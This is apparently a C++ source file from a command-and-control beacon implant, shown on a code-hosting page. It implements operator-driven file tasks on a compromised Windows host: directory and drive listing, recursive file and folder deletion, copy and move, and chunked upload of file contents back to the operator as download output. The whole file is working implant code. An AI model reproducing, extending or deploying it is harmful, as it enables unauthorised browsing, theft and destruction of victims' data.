309 lines
7.6 KiB
C++
309 lines
7.6 KiB
C++
|
#include "BeaconFileManage.h"
|
|||
|
|
|||
|
void BeaconLs(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
SYSTEMTIME SystemTime;
|
|||
|
SYSTEMTIME LocalTime;
|
|||
|
HANDLE FirstFileA;
|
|||
|
|
|||
|
char* buff = (char*)malloc(0x4000);
|
|||
|
memset(buff, 0, 0x4000u);
|
|||
|
datap taskpdatap;
|
|||
|
BeaconDataParse(&taskpdatap, Taskdata, Task_size);
|
|||
|
int unknown = BeaconDataInt(&taskpdatap);
|
|||
|
BeaconDataCopyToBuffer(&taskpdatap, buff, 0x4000);
|
|||
|
formatp pdatap;
|
|||
|
BeaconFormatAlloc((formatp*)&pdatap, 0x200000u);
|
|||
|
BeaconFormatInt((formatp*)&pdatap, unknown);
|
|||
|
if (!strncmp(buff, ".\\*", 0x4000))
|
|||
|
{
|
|||
|
GetCurrentDirectoryA(0x4000u, buff);
|
|||
|
strncat_s(buff, 0x4000u, "\\*", 2);
|
|||
|
}
|
|||
|
BeaconFormatPrintf((formatp*)&pdatap, (char*)"%s\n", buff);
|
|||
|
WIN32_FIND_DATAA FindFileData;
|
|||
|
FirstFileA = FindFirstFileA(buff, &FindFileData);
|
|||
|
if (FirstFileA == (HANDLE)-1)
|
|||
|
{
|
|||
|
BeaconTaskError1Output(52, GetLastError(), buff);
|
|||
|
int length = BeaconFormatlength((formatp*)&pdatap);
|
|||
|
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
|
|||
|
BeaconTaskOutput(buffer, length, 22);
|
|||
|
free(buff);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
free(buff);
|
|||
|
do
|
|||
|
{
|
|||
|
FileTimeToSystemTime(&FindFileData.ftLastWriteTime, &SystemTime);
|
|||
|
SystemTimeToTzSpecificLocalTime(0, &SystemTime, &LocalTime);
|
|||
|
if ((FindFileData.dwFileAttributes & 0x10) != 0)
|
|||
|
{
|
|||
|
BeaconFormatPrintf(
|
|||
|
(formatp*)&pdatap,
|
|||
|
(char*)"D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
|||
|
LocalTime.wMonth,
|
|||
|
LocalTime.wDay,
|
|||
|
LocalTime.wYear,
|
|||
|
LocalTime.wHour,
|
|||
|
LocalTime.wMinute,
|
|||
|
LocalTime.wSecond,
|
|||
|
FindFileData.cFileName);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
BeaconFormatPrintf(
|
|||
|
(formatp*)&pdatap,
|
|||
|
(char*)"F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
|||
|
__PAIR64__(FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow),
|
|||
|
LocalTime.wMonth,
|
|||
|
LocalTime.wDay,
|
|||
|
LocalTime.wYear,
|
|||
|
LocalTime.wHour,
|
|||
|
LocalTime.wMinute,
|
|||
|
LocalTime.wSecond,
|
|||
|
FindFileData.cFileName);
|
|||
|
}
|
|||
|
} while (FindNextFileA(FirstFileA, &FindFileData));
|
|||
|
FindClose(FirstFileA);
|
|||
|
int length = BeaconFormatlength((formatp*)&pdatap);
|
|||
|
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
|
|||
|
BeaconTaskOutput(buffer, length, 0x16u);
|
|||
|
}
|
|||
|
BeaconFormatFree((formatp*)&pdatap);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void beacon_MkDir(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
datap pdatap;
|
|||
|
BeaconDataParse(&pdatap, Taskdata, Task_size);
|
|||
|
char* buffer = (char*)malloc(0x4000u);
|
|||
|
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
|
|||
|
_mkdir(buffer);
|
|||
|
free(buffer);
|
|||
|
}
|
|||
|
|
|||
|
void GetDrivesList(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
|
|||
|
datap pdatap;
|
|||
|
BeaconDataParse(&pdatap, Taskdata, Task_size);
|
|||
|
int unknown = BeaconDataInt(&pdatap);
|
|||
|
|
|||
|
formatp pformatp;
|
|||
|
BeaconFormatAlloc(&pformatp, 0x80u);
|
|||
|
BeaconFormatInt(&pformatp, unknown);
|
|||
|
DWORD LogicalDrives = GetLogicalDrives();
|
|||
|
BeaconFormatPrintf(&pformatp, (char*)"%u", LogicalDrives);
|
|||
|
int length = BeaconFormatlength(&pformatp);
|
|||
|
char* buffer = BeaconFormatOriginalPtr(&pformatp);
|
|||
|
BeaconTaskOutput(buffer, length, 22);
|
|||
|
BeaconFormatFree(&pformatp);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL isDirectory(LPCSTR lpFileName)
|
|||
|
{
|
|||
|
return (GetFileAttributesA(lpFileName) & FILE_ATTRIBUTE_DIRECTORY) == 16;
|
|||
|
}
|
|||
|
|
|||
|
void __cdecl CallbackDelFile(const char* path, const char* name, int type)
|
|||
|
{
|
|||
|
char* buffer = (char*)malloc(0x4000u);
|
|||
|
memset(buffer, 0, 0x4000);
|
|||
|
_snprintf(buffer, 0x4000u, "%s\\%s", path, name);
|
|||
|
if (type)
|
|||
|
{
|
|||
|
_rmdir(buffer);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
remove(buffer);
|
|||
|
}
|
|||
|
free(buffer);
|
|||
|
}
|
|||
|
|
|||
|
void DeleteAllFile(char* buffer)
|
|||
|
{
|
|||
|
struct _WIN32_FIND_DATAA FindFileData;
|
|||
|
|
|||
|
TraverseDeleteFile(buffer, &FindFileData, CallbackDelFile);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun)
|
|||
|
{
|
|||
|
char* buffer = (char*)malloc(0x8000u);
|
|||
|
_snprintf(buffer, 0x8000u, "%s\\*", path);
|
|||
|
HANDLE hFindFile = FindFirstFileA(buffer, lpFindFileData);
|
|||
|
free(buffer);
|
|||
|
if (hFindFile != (HANDLE)-1)
|
|||
|
{
|
|||
|
do
|
|||
|
{
|
|||
|
if ((lpFindFileData->dwFileAttributes & 0x10) != 0)
|
|||
|
{
|
|||
|
if (strcmp(lpFindFileData->cFileName, "."))
|
|||
|
{
|
|||
|
if (strcmp(lpFindFileData->cFileName, ".."))
|
|||
|
{
|
|||
|
char* temp = (char*)malloc(0x8000u);
|
|||
|
_snprintf(temp, 0x8000u, "%s", lpFindFileData->cFileName);
|
|||
|
RecursionTraverseDeleteFile(path, lpFindFileData->cFileName, lpFindFileData, Callback_fun);
|
|||
|
Callback_fun(path, temp, 1);
|
|||
|
free(temp);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
Callback_fun(path, lpFindFileData->cFileName, 0);
|
|||
|
}
|
|||
|
} while (FindNextFileA(hFindFile, lpFindFileData));
|
|||
|
FindClose(hFindFile);
|
|||
|
}
|
|||
|
}
|
|||
|
void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback)
|
|||
|
{
|
|||
|
char* buffer = (char*)malloc(0x8000u);
|
|||
|
_snprintf(buffer, 0x8000u, "%s\\%s", path, Name);
|
|||
|
TraverseDeleteFile(buffer, lpFindFileData, Callback);
|
|||
|
free(buffer);
|
|||
|
}
|
|||
|
void beacon_rm(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
datap pdatap;
|
|||
|
BeaconDataParse(&pdatap, Taskdata, Task_size);
|
|||
|
char* buffer = (char*)malloc(0x4000u);
|
|||
|
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
|
|||
|
if (isDirectory(buffer))
|
|||
|
{
|
|||
|
DeleteAllFile(buffer);
|
|||
|
_rmdir(buffer);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
remove(buffer);
|
|||
|
}
|
|||
|
free(buffer);
|
|||
|
}
|
|||
|
|
|||
|
void beacon_copy(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
|
|||
|
datap* pdatap = BeaconDataInit(0x4000u);
|
|||
|
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
|
|||
|
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
|
|||
|
|
|||
|
datap ptaskdatap;
|
|||
|
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
|
|||
|
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
|
|||
|
BeaconDataCopyToBuffer(&ptaskdatap,lpNewFileName, 0x2000);
|
|||
|
if (!CopyFileA(lpExistingFileName, lpNewFileName, 0))
|
|||
|
{
|
|||
|
BeaconErrorD(0xDu, GetLastError());
|
|||
|
}
|
|||
|
BeaconDataClear(pdatap);
|
|||
|
BeaconDataFree(pdatap);
|
|||
|
}
|
|||
|
|
|||
|
void beacon_Move(char* Taskdata, int Task_size)
|
|||
|
{
|
|||
|
|
|||
|
datap* pdatap = BeaconDataInit(0x4000u);
|
|||
|
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
|
|||
|
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
|
|||
|
|
|||
|
datap ptaskdatap;
|
|||
|
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
|
|||
|
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
|
|||
|
BeaconDataCopyToBuffer(&ptaskdatap, lpNewFileName, 0x2000);
|
|||
|
if (!MoveFileA(lpExistingFileName, lpNewFileName))
|
|||
|
{
|
|||
|
BeaconErrorD(0xEu, GetLastError());
|
|||
|
}
|
|||
|
BeaconDataClear(pdatap);
|
|||
|
BeaconDataFree(pdatap);
|
|||
|
}
|
|||
|
void CheckDownloadIsOK(BeaconDownload* pBeaconDownload)
|
|||
|
{
|
|||
|
if (!pBeaconDownload->size)
|
|||
|
{
|
|||
|
int number = htonl(pBeaconDownload->number);
|
|||
|
BeaconTaskOutput((char*)&number, 4, 9);
|
|||
|
fclose(pBeaconDownload->fp);
|
|||
|
}
|
|||
|
}
|
|||
|
char* download_data;
|
|||
|
void TransferFileData(BeaconDownload* pBeaconDownload, size_t size)
|
|||
|
{
|
|||
|
|
|||
|
if (!download_data)
|
|||
|
{
|
|||
|
download_data = (char*)malloc(0x80004u);
|
|||
|
}
|
|||
|
*(int*)download_data = htonl(pBeaconDownload->number);
|
|||
|
int dsize = pBeaconDownload->size;
|
|||
|
if (dsize > size)
|
|||
|
{
|
|||
|
dsize = size;
|
|||
|
}
|
|||
|
int readsize =0;
|
|||
|
while (dsize)
|
|||
|
{
|
|||
|
int readlen = fread(&download_data[readsize + 4], 1u, dsize, pBeaconDownload->fp);
|
|||
|
if (!readlen)
|
|||
|
{
|
|||
|
pBeaconDownload->size = 0;
|
|||
|
break;
|
|||
|
}
|
|||
|
readsize += readlen;
|
|||
|
dsize -= readlen;
|
|||
|
pBeaconDownload->size -= readlen;
|
|||
|
}
|
|||
|
BeaconTaskOutput(download_data, readsize + 4, 8); // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
CheckDownloadIsOK(pBeaconDownload);
|
|||
|
}
|
|||
|
|
|||
|
void __cdecl CheckDownload(size_t size)
|
|||
|
{
|
|||
|
|
|||
|
BeaconDownload* pgBeaconDownload = gBeaconDownload;
|
|||
|
if (pgBeaconDownload)
|
|||
|
{
|
|||
|
do
|
|||
|
{
|
|||
|
if (pgBeaconDownload->size)
|
|||
|
{
|
|||
|
TransferFileData(pgBeaconDownload, size);
|
|||
|
}
|
|||
|
pgBeaconDownload = pgBeaconDownload->Linked;
|
|||
|
} while (pgBeaconDownload);
|
|||
|
|
|||
|
pgBeaconDownload = gBeaconDownload;
|
|||
|
BeaconDownload* temp=0;
|
|||
|
while (pgBeaconDownload)
|
|||
|
{
|
|||
|
if (pgBeaconDownload->size)
|
|||
|
{
|
|||
|
temp = pgBeaconDownload;
|
|||
|
pgBeaconDownload = pgBeaconDownload->Linked;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (!temp)
|
|||
|
{
|
|||
|
gBeaconDownload = pgBeaconDownload->Linked;
|
|||
|
free(pgBeaconDownload);
|
|||
|
return;
|
|||
|
}
|
|||
|
temp->Linked = pgBeaconDownload->Linked;
|
|||
|
free(pgBeaconDownload);
|
|||
|
pgBeaconDownload = temp->Linked;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|